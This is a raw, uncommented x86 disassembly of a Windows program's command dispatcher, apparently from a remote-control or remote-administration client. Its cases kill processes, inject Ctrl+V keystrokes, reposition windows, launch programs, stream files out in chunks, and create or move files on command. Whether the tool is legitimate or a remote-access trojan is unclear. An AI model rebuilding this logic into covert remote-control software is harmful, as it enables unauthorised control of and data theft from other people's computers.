mov word [0x531f24], 0
xor eax, eax
mov dword [0x53a3b4], eax
xor eax, eax
mov dword [0x532000], eax
xor eax, eax
mov dword [0x53a3ec], eax
mov byte [0x531fb0], 0xff
jmp 0x4d90d8
xor edx, edx
mov eax, dword [0x53a38c]
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov byte [0x531fb4], 0
cmp dword [0x531fe8], 0x32
jge 0x4d911e
cmp byte [0x531fec], 3
je 0x4d911e
mov dword [0x53a374], 0xffffffff
mov dword [0x53a378], 0xffffffff
mov dword [0x53a37c], 0xffffffff
mov dword [0x53a380], 0xffffffff
jmp case.0x4d6781.10
mov dword [0x53a374], 0
mov dword [0x53a378], 0
mov dword [0x53a37c], 0
mov dword [0x53a380], 0
jmp case.0x4d6781.10
mov byte [0x531fb4], 1
mov dword [0x531fe8], 0x7d0
jmp case.0x4d6781.10
cmp byte [0x531fb0], 0
je case.0x4d6781.10
mov byte [0x531fb0], 0
mov byte [0x531fc0], 0
mov dword [0x531fe8], 0x7d0
xor word [0x53a370], 0x1a0a
jmp 0x4d919d
call fcn.004d595c
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5335d0]
cmp dword [eax], 0
jg 0x4d9191
mov eax, dword [0x53a388]
call fcn.00403750
mov eax, dword [0x53a38c]
call fcn.00403750
mov eax, 0x531fd0
call fcn.0040e1f8
call fcn.004d6458
cmp byte [0x532548], 0
jne 0x4d91e2
call fcn.004cd16c
call fcn.004ce420
call fcn.004ceb7c
call fcn.004cca44
call fcn.004cb124
cmp dword [0x53a51c], 3
jne 0x4d91ff
or eax, 0xffffffff
call fcn.004cbdd0
jmp 0x4d9204
call fcn.004cb798
call fcn.004ed0cc
jmp case.0x4d6781.10
cmp byte [0x531fb0], 0
je case.0x4d6781.10
mov eax, dword [ebx + 0x14]
shr eax, 0xc
and eax, 0xf
mov dword [ebp - 0x48], eax
cmp byte [0x531fc0], 0
jne 0x4d924d
cmp dword [ebp - 0x48], 2
jne 0x4d924d
call fcn.0046e8cc
fcomp dword [0x4dbf58]
fnstsw ax
sahf
jbe 0x4d924d
mov dword [ebp - 0x48], 3
movsx eax, byte [0x531fec]
cmp eax, dword [ebp - 0x48]
je 0x4d927e
mov al, byte [ebp - 0x48]
mov byte [0x531fec], al
cmp byte [0x531fec], 2
jl 0x4d927e
mov dword [0x53a374], 0
mov dword [0x53a378], 0
cmp byte [0x53a39d], 0
jle 0x4d9293
mov al, byte [0x53a39d]
mov byte [0x531ff0], al
jmp 0x4d92a5
mov eax, dword [ebx + 0x14]
shr eax, 8
and al, 0xf
mov byte [0x531ff0], al
call fcn.004d1dc4
cmp byte [0x531ff0], 3
je 0x4d92b3
call fcn.004cb124
cmp byte [0x531ff0], 4
je 0x4d92c1
call fcn.004cca44
cmp dword [0x53a51c], 3
jne 0x4d92fe
movsx eax, byte [0x531fac]
mov edx, dword [0x531fe8]
call fcn.004cbe68
cmp byte [0x531ff0], 5
je 0x4d92ef
or eax, 0xffffffff
call fcn.004cbdd0
jmp 0x4d9323
mov edx, 2
or eax, 0xffffffff
call fcn.004cbdfc
jmp 0x4d9323
cmp byte [0x531ff0], 5
je 0x4d930e
call fcn.004cb798
jmp 0x4d9323
mov eax, dword [0x533738]
cmp dword [eax], 0xffffffd8
jge 0x4d9323
mov eax, dword [0x533738]
mov dword [eax], 0xffffffd8
mov eax, dword [ebx + 0x18]
and eax, 0x1f
mov esi, dword [eax*4 + 0x53248c]
mov eax, dword [ebx + 0x18]
shr eax, 8
and al, 1
mov byte [0x53a3d0], al
mov eax, dword [ebx + 0x18]
shr eax, 9
and al, 1
test al, al
jne 0x4d9350
mov byte [0x531fac], 0
mov al, byte [ebx + 0x14]
and al, 0xf
mov byte [0x53a384], al
cmp byte [0x531fc0], 0
je 0x4d9390
test esi, esi
jle 0x4d9378
mov eax, esi
call fcn.004d59cc
shl eax, 2
mov dword [0x531fe8], eax
jmp 0x4d9387
mov eax, esi
call fcn.004d59cc
shl eax, 3
mov dword [0x531fe8], eax
mov byte [0x53a3d0], 1
jmp 0x4d93b4
cmp dword [0x53a3cc], 0xb30e
ja 0x4d93aa
mov eax, esi
call fcn.004d59cc
mov dword [0x531fe8], eax
jmp 0x4d93b4
mov dword [0x531fe8], 0x3e8
cmp byte [0x53a3d0], 0
je 0x4d93ca
cmp byte [0x53a3d1], 0
je case.0x4d6781.10
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004aead0
test al, al
je case.0x4d6781.10
call fcn.004aec80
jmp case.0x4d6781.10
mov ax, word [ebx + 0x10]
and ax, 0xffff
mov word [0x53a370], ax
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [0x53a3d4], eax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [0x53a3d8], eax
mov eax, dword [ebx + 0x14]
and eax, 0xffff
mov dword [0x53a3dc], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
mov dword [0x53a3e0], eax
jmp case.0x4d6781.10
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [0x53a3e4], eax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [0x53a3e8], eax
mov eax, dword [ebx + 0x14]
and eax, 0xffff
mov dword [0x53a3ec], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
mov dword [0x53a3f0], eax
jmp case.0x4d6781.10
lea eax, [ebp - 0xe8]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
lea eax, [ebp - 0xe8]
call fcn.004d30ec
cmp dword [ebx + 0x10], 0
je 0x4d94ad
mov ecx, dword [ebp - 0xe8]
mov dx, word [0x4dbf44]
mov al, 1
call fcn.004acb50
jmp case.0x4d6781.10
xor ecx, ecx
mov dx, word [0x4dbf88]
xor eax, eax
call fcn.004acb50
jmp case.0x4d6781.10
mov edx, dword [ebx + 0x10]
xor dl, 1
mov eax, dword [0x53385c]
mov eax, dword [eax]
mov eax, dword [eax + 0x308]
call fcn.0044f3bc
jmp case.0x4d6781.10
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045dd40
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d6781.10
lea eax, [ebp - 0x93c]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov eax, dword [ebp - 0x93c]
lea edx, [ebp - 0x938]
call fcn.00408d64
mov edx, dword [ebp - 0x938]
mov eax, 0x53a54c
call fcn.004045b0
push 0
xor eax, eax
mov al, byte [ebx + 0xc]
push eax
push 0x916
mov eax, dword [ebp - 0x28]
call fcn.0045dd40
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d6781.10
lea eax, [ebp - 0x5c]
call fcn.0040455c
cmp byte [ebx + 0xc], 0x9f
jne 0x4d956e
cmp dword [ebx + 4], 0x20
jle 0x4d956e
lea edx, [ebp - 0x5c]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov eax, dword [ebx + 0x10]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
test eax, eax
je 0x4d9592
cmp eax, 0xffffffff
je 0x4d9592
push 0x1111
push eax
call sub.kernel32.dll_TerminateProcess
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045dd40
push eax
call sub.user32.dll_PostMessageA
cmp dword [ebp - 0x5c], 0
je case.0x4d6781.10
lea eax, [ebp - 0x38]
mov edx, dword [ebp - 0x5c]
call fcn.004045f4
jmp 0x4d72ce
lea edx, [ebp - 0x940]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov edx, dword [ebp - 0x940]
mov eax, 0x53a4d0
call fcn.00404e18
mov dl, 1
mov eax, dword [0x53a4d0]
call fcn.004e920c
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
jmp case.0x4d6781.10
lea edx, [ebp - 0x6c]
lea eax, [ebx + 0x20]
call fcn.00409e88
cmp dword [ebx + 0x10], 0xaf
jne 0x4d964a
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x28]
call fcn.004e59dc
jmp case.0x4d6781.10
cmp dword [ebx + 0x10], 0xae
jne 0x4d969d
mov edx, dword [ebp - 0x6c]
mov eax, 0x4dbf94
call fcn.00404b50
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle case.0x4d6781.10
lea eax, [ebp - 0x944]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x6c]
call fcn.00404a6c
mov eax, dword [ebp - 0x944]
or edx, 0xffffffff
call fcn.00409414
call fcn.004e5ae0
jmp case.0x4d6781.10
cmp dword [ebx + 0x10], 0xb4
jne 0x4d96bc
lea eax, [ebp - 0x38]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [0x53a4b8]
call fcn.00404860
jmp 0x4d72ce
cmp dword [ebx + 0x10], 0xb5
jne case.0x4d6781.10
lea eax, [ebp - 0x38]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [0x53a4b8]
call fcn.00404860
jmp 0x4d72ce
mov eax, dword [ebx + 0x10]
push eax
push 0xf170
push 0x112
mov eax, dword [ebp - 0x28]
call fcn.0045dd40
push eax
call sub.user32.dll_SendMessageA
jmp case.0x4d6781.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d6781.10
lea eax, [ebp - 0x1e8]
push eax
push esi
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x1e0]
sub eax, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x1dc]
sub edx, dword [ebp - 0x1e4]
shl edx, 0x10
or eax, edx
push eax
push 1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1e8]
and ecx, 0xffff
mov eax, dword [ebp - 0x1e4]
shl eax, 0x10
or ecx, eax
mov edx, 0xfb
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
jmp case.0x4d6781.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d6781.10
mov di, word [ebx + 0x10]
and di, 0xffff
movsx edi, di
mov eax, dword [ebx + 0x10]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x4c], eax
mov ax, word [ebx + 0x14]
and ax, 0xffff
movsx eax, ax
mov dword [ebp - 0x50], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x54], eax
push 0
mov eax, dword [ebp - 0x54]
push eax
mov eax, dword [ebp - 0x50]
push eax
mov eax, dword [ebp - 0x4c]
push eax
push edi
push 0
push esi
call sub.user32.dll_SetWindowPos
jmp case.0x4d6781.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d6781.10
push 0
lea eax, [ebp - 0x208]
push eax
push 0
push 0x30
call sub.user32.dll_SystemParametersInfoA
lea eax, [ebp - 0x1e8]
push eax
push esi
call sub.user32.dll_GetWindowRect
mov eax, dword [ebx + 0x10]
cmp eax, 9
ja case.0x4d9801.0
jmp dword [eax*4 + 0x4d9808]
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4d9a47
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x208]
mov edx, dword [ebp - 0x1e0]
sub edx, dword [ebp - 0x1e8]
sub eax, edx
sar eax, 1
jns 0x4d986e
adc eax, 0
add eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4d9a47
mov eax, dword [ebp - 0x1e0]
sub eax, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x200]
sub edx, eax
mov dword [ebp - 0x1f8], edx
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4d9a47
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1fc]
sub eax, dword [ebp - 0x204]
mov edx, dword [ebp - 0x1dc]
sub edx, dword [ebp - 0x1e4]
sub eax, edx
sar eax, 1
jns 0x4d98e3
adc eax, 0
add eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4d9a47
mov eax, dword [ebp - 0x1e0]
sub eax, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x200]
sub edx, eax
mov dword [ebp - 0x1f8], edx
mov eax, dword [ebp - 0x1fc]
sub eax, dword [ebp - 0x204]
mov edx, dword [ebp - 0x1dc]
sub edx, dword [ebp - 0x1e4]
sub eax, edx
sar eax, 1
jns 0x4d992f
adc eax, 0
add eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
jmp 0x4d9a47
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1dc]
sub eax, dword [ebp - 0x1e4]
mov edx, dword [ebp - 0x1fc]
sub edx, eax
mov dword [ebp - 0x1f4], edx
jmp 0x4d9a47
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x208]
mov edx, dword [ebp - 0x1e0]
sub edx, dword [ebp - 0x1e8]
sub eax, edx
sar eax, 1
jns 0x4d998c
adc eax, 0
add eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1dc]
sub eax, dword [ebp - 0x1e4]
mov edx, dword [ebp - 0x1fc]
sub edx, eax
mov dword [ebp - 0x1f4], edx
jmp 0x4d9a47
mov eax, dword [ebp - 0x1e0]
sub eax, dword [ebp - 0x1e8]
mov edx, dword [ebp - 0x200]
sub edx, eax
mov dword [ebp - 0x1f8], edx
mov eax, dword [ebp - 0x1dc]
sub eax, dword [ebp - 0x1e4]
mov edx, dword [ebp - 0x1fc]
sub edx, eax
mov dword [ebp - 0x1f4], edx
jmp 0x4d9a47
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x208]
mov edx, dword [ebp - 0x1e0]
sub edx, dword [ebp - 0x1e8]
sub eax, edx
sar eax, 1
jns 0x4d9a0e
adc eax, 0
add eax, dword [ebp - 0x208]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0x1fc]
sub eax, dword [ebp - 0x204]
mov edx, dword [ebp - 0x1dc]
sub edx, dword [ebp - 0x1e4]
sub eax, edx
sar eax, 1
jns 0x4d9a3b
adc eax, 0
add eax, dword [ebp - 0x204]
mov dword [ebp - 0x1f4], eax
push 1
push 0
push 0
mov eax, dword [ebp - 0x1f4]
push eax
mov eax, dword [ebp - 0x1f8]
push eax
push 0
push esi
call sub.user32.dll_SetWindowPos
jmp case.0x4d6781.10
mov dl, 1
mov eax, dword [0x414ad0]
call fcn.00403720
mov esi, eax
mov edx, 0x4dbfa0
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dbfc0
mov eax, dword [0x53383c]
push dword [eax]
push 0x4dbfd0
lea eax, [ebp - 0x948]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x948]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dbfc0
mov eax, dword [0x53383c]
push dword [eax]
push 0x4dbfe0
lea eax, [ebp - 0x94c]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x94c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dbfc0
mov eax, dword [0x53383c]
push dword [eax]
push 0x4dbff0
lea eax, [ebp - 0x950]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x950]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x954]
mov eax, 0xf9
call fcn.004a94c4
mov ecx, dword [ebp - 0x954]
mov edx, dword [0x53383c]
mov edx, dword [edx]
lea eax, [ebp - 0x88]
call fcn.00404860
lea eax, [ebp - 0x958]
mov edx, dword [ebp - 0x88]
call fcn.00404e18
mov eax, dword [ebp - 0x958]
push eax
push esi
call fcn.0046d948
push 0x4dc000
push dword [ebp - 0x88]
push 0x4dc000
lea eax, [ebp - 0x88]
mov edx, 3
call fcn.004048d4
mov eax, esi
call fcn.00403750
call fcn.004d5a54
xor edx, edx
mov eax, 3
call fcn.004d5a74
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
call fcn.00404a0c
push eax
push 0x4dbf3c
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d6781.10
mov dl, 1
mov eax, dword [0x414ad0]
call fcn.00403720
mov esi, eax
mov edx, 0x4dbfa0
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dbfc0
lea eax, [ebp - 0x960]
mov edx, dword [0x53a29c]
mov dl, byte [edx]
call fcn.0040473c
push dword [ebp - 0x960]
push 0x4dc00c
lea eax, [ebp - 0x95c]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x95c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dbfc0
push dword [0x53a29c]
push 0x4dc020
lea eax, [ebp - 0x964]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x964]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dbfc0
push dword [0x53a29c]
push 0x4dc038
lea eax, [ebp - 0x968]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x968]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4dbfc0
mov eax, dword [0x53383c]
push dword [eax]
push 0x4dbff0
lea eax, [ebp - 0x96c]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x96c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x970]
mov eax, 0xf9
call fcn.004a94c4
mov ecx, dword [ebp - 0x970]
mov edx, dword [0x53383c]
mov edx, dword [edx]
lea eax, [ebp - 0x88]
call fcn.00404860
lea eax, [ebp - 0x974]
mov edx, dword [ebp - 0x88]
call fcn.00404e18
mov eax, dword [ebp - 0x974]
push eax
push esi
call fcn.0046d948
push 0x4dc000
push dword [ebp - 0x88]
push 0x4dc000
lea eax, [ebp - 0x88]
mov edx, 3
call fcn.004048d4
mov eax, esi
call fcn.00403750
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
call fcn.00404a0c
push eax
push 0x4dbf3c
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f0]
xor edx, edx
call fcn.0047077c
mov eax, dword [0x539154]
call fcn.0049dbf8
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e2aa4
jmp case.0x4d6781.10
lea edx, [ebp - 0x978]
mov eax, 0xfa
call fcn.004a94c4
mov eax, dword [ebp - 0x978]
push eax
lea edx, [ebp - 0x97c]
mov eax, 0xae
call fcn.004a94c4
mov eax, dword [ebp - 0x97c]
push eax
lea eax, [ebp - 0x980]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov ecx, dword [ebp - 0x980]
pop eax
pop edx
call fcn.0046c0a0
jmp case.0x4d6781.10
cmp dword [0x531f30], 0x5230205
jb case.0x4d6781.10
cmp byte [0x532568], 0
jne case.0x4d6781.10
xor eax, eax
push ebp
push 0x4da0fc
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x10]
mov dword [0x53a338], eax
mov eax, dword [0x53a338]
add eax, 0x5b
cmp eax, dword [0x53a3cc]
jae 0x4d9e0b
push 0
push 0x3e8
mov eax, dword [0x531ef0]
mov edx, dword [0x531ef4]
call fcn.004058f0
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d9e0b
cmp eax, 0
je 0x4da0e7
mov byte [0x532568], 1
lea edx, [ebp - 0x9c]
lea eax, [ebx + 0x20]
call fcn.00409e88
lea eax, [ebp - 0x9c]
call fcn.004d30ec
lea eax, [ebp - 0xd0]
mov edx, dword [ebp - 0x9c]
call fcn.004045f4
mov eax, dword [ebp - 0x9c]
call fcn.00404814
cmp eax, 3
jl 0x4da0c8
mov eax, dword [ebp - 0x9c]
call fcn.00462d3c
test al, al
je 0x4da0c8
push 0
push 0
mov eax, dword [ebp - 0xd0]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xe1
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a674]
call fcn.0046a8fc
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4e0a88
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4e0cd4
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4e1264
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0x9c]
call fcn.004045b0
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 0
mov dl, 1
mov eax, dword [0x4ed9f8]
call fcn.00403720
mov dword [0x53a56c], eax
push 0
push 0x20
mov eax, dword [0x53a56c]
call fcn.00419644
push 0
push 0x20
mov eax, dword [0x53a56c]
call fcn.004195e0
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 2
xor eax, eax
push ebp
push 0x4da0c1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd8]
call fcn.0046a9b0
mov eax, dword [0x53a56c]
call fcn.004195f4
cmp edx, 0
jne 0x4d9f5a
cmp eax, 0x20
jbe 0x4da080
jmp 0x4d9f60
jle 0x4da080
mov eax, dword [0x53a56c]
mov ebx, dword [eax + 4]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xe8
mov byte [ebx + 0xe], 0
mov eax, dword [0x53a56c]
call fcn.004195f4
mov dword [ebx + 4], eax
mov eax, dword [0x53a3cc]
mov dword [ebx + 0x10], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
mov eax, ebx
call fcn.004e04a0
mov eax, dword [ebx + 4]
mov dword [ebp - 0xb0], eax
lea ebx, [ebp - 0x7a8]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xf2
mov byte [ebx + 0xe], 0
xor eax, eax
mov dword [ebx + 0x10], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
push 0
push 0
mov eax, dword [0x53a56c]
call fcn.004195e0
xor esi, esi
mov dword [ebx + 0x14], esi
inc esi
mov eax, dword [ebp - 0xb0]
cdq
push edx
push eax
mov eax, dword [0x53a56c]
call fcn.004195c0
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
cmp edx, 0
jne 0x4d9ff8
cmp eax, 0x500
jbe 0x4da006
jmp 0x4d9ffa
jle 0x4da006
mov dword [ebp - 0xac], 0x500
jmp 0x4da01e
mov eax, dword [0x53a56c]
call fcn.004195c0
mov edx, dword [ebp - 0xb0]
sub edx, eax
mov dword [ebp - 0xac], edx
lea edx, [ebx + 0x20]
mov ecx, dword [ebp - 0xac]
mov eax, dword [0x53a56c]
mov edi, dword [eax]
call dword [edi + 8]
mov eax, dword [0x53a56c]
call fcn.004195c0
mov edx, dword [ebp - 0xb0]
sub edx, eax
mov dword [ebx + 0x18], edx
mov eax, dword [ebp - 0xac]
add eax, 0x20
mov dword [ebx + 4], eax
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d459c
test al, al
je 0x4da09e
test esi, 0xf
jne 0x4da074
mov eax, dword [0x533718]
mov eax, dword [eax]
call fcn.004491fc
cmp dword [ebx + 0x18], 0
jne 0x4d9fca
jmp 0x4da09e
push 0
push 0
mov eax, dword [ebp - 0xd0]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4da0e7
mov eax, dword [0x53a56c]
call fcn.00403750
mov eax, dword [ebp - 0xd8]
call fcn.00403750
ret
push 0
push 0
mov eax, dword [ebp - 0xd0]
push eax
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d6781.10
mov byte [0x532568], 0
ret
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409e88
lea eax, [ebp - 0x34]
call fcn.004d30ec
push 0
lea eax, [ebp - 0x34]
call fcn.00404a64
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x91], al
push 0
push 0
lea edx, [ebp - 0x984]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov eax, dword [ebp - 0x984]
push eax
push 0
push 0
xor ecx, ecx
mov cl, byte [ebp - 0x91]
mov edx, 0xbd
mov eax, dword [ebp - 0x28]
call fcn.004d48b8
jmp case.0x4d6781.10
cmp byte [0x53256c], 0
jne case.0x4d6781.10
xor eax, eax
push ebp
push 0x4da361
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53256c], 1
mov dl, 1
mov eax, dword [0x414ad0]
call fcn.00403720
mov dword [ebp - 0x98], eax
lea edx, [ebp - 0x988]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov edx, dword [ebp - 0x988]
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x9c]
call fcn.004d30ec
mov eax, dword [ebp - 0x98]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jle 0x4da319
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x48], 1
lea ecx, [ebp - 0x98c]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x98c]
lea eax, [ebp - 0x34]
mov edx, dword [ebp - 0x9c]
call fcn.00404860
mov eax, dword [ebp - 0x34]
call fcn.0046d69c
test al, al
je 0x4da249
mov eax, dword [ebp - 0x34]
call fcn.004e9fbc
mov edx, 2
mov eax, dword [ebp - 0x34]
call fcn.004d2a6c
jmp 0x4da30a
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a674]
call fcn.0046a8fc
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4e0a88
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4e0cd4
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4e1264
mov eax, dword [ebp - 0xd8]
add eax, 0x40
mov edx, dword [ebp - 0x34]
call fcn.004045b0
mov eax, dword [ebp - 0xd8]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd8]
mov dword [eax + 0xc], 3
xor eax, eax
push ebp
push 0x4da2f1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd8]
call fcn.0046a9b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4da2f8
mov eax, dword [ebp - 0xd8]
call fcn.00403750
ret
inc dword [ebp - 0x48]
dec dword [ebp - 0x118]
jne 0x4da1fb
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xbc
mov eax, dword [ebp - 0x28]
call fcn.004d4a54
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d6781.10
mov eax, dword [ebp - 0x98]
call fcn.00403750
mov byte [0x53256c], 0
ret
mov dl, 1
mov eax, dword [0x414ad0]
call fcn.00403720
mov dword [ebp - 0x98], eax
lea edx, [ebp - 0x990]
lea eax, [ebx + 0x20]
call fcn.00409e88
mov edx, dword [ebp - 0x990]
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0x34]
mov edx, 1
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0x38]
mov edx, 2
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea eax, [ebp - 0x9c]
call fcn.004d30ec
lea eax, [ebp - 0x994]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x9c]
call fcn.00404860
mov eax, dword [ebp - 0x994]
call fcn.00404a0c
push eax
lea eax, [ebp - 0x998]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x9c]
call fcn.00404860
mov eax, dword [ebp - 0x998]
call fcn.00404a0c
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x91], al
mov eax, dword [ebp - 0x98]
